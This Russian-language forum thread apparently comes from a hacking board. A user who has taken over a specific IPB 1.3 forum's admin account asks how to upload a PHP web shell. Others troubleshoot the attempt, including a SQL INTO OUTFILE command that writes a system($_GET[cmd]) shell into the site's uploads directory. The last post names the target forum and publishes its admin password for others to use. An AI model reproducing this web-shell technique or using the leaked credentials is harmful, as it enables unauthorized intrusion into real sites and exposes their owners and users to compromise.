![]() |
Ошибка с шеллом в Ipb 1.3
Вот, получил пароль админа, залил шелл через смайлы потом если через /forum/html/emoticons/antichatl.php перехожу то меня перекидывает на http://err.agava.ru/vh/cgierr/17/
Испровобал 2 шелла nts21Viev.php кажется такое еще... Что мне делать? Как мне быть? |
Цитата:
|
Цитата:
Не могу в MySQL найти никак, можете подсказать где именно? (phtml) |
В настройках нет атачей, так что я не могу прописать application/octet-stream и phtml :mad:
Через смайлы выходит что ничего не добавляется Добавления настроек там вообще нет.. Просмотрел все темы про заливку шелла но ни один не подошел... Потому собственно и спрашиваю...( ЗЫ Замена HTML шаблона не проходит тоже...( |
Значит плохо искал, в ипб 1.* есть способ заливки через MySQL, поищи яуже не раз писал про этот метод
|
Почему то когда пытался залить в папку uploads вывалило
Access denied for user: 'anabole8_admbd@localhost' (Using password: YES) Как от этого избавиться? Команда была такой: SELECT '<?php system($_GET[cmd]); ?>' FROM mysql.user INTO OUTFILE '/home/anabole8/public_html/forum/uploads/shell.php' |
Лучше попытайся залить в папку с аватарками, на заливку в /uploads/ у тебя может быть нет прав.
аа, ты через скуль заливал... скорее всего и правда прав на инто+аутфайл нету. |
Это означает, что пользователь anabole8_admbd не имеет доступа в системную таблицу mysql или прав на исполнение команды OUTFILE. Скорее всего второе.
|
селекти из таблицы форума любой. Утебя нет прав на системные тадлицы. т.е. твой юзер не является рутовым,что обычно нужно для Mysql.user
|
Ну тогда выходит залить шелл на этот форум нереально?
Ну тогда сами посмотрите если хотите... www.anabolex.ru/forum admin : yehakqag Буду другие форумы значит искать(( |
| Время: 19:58 |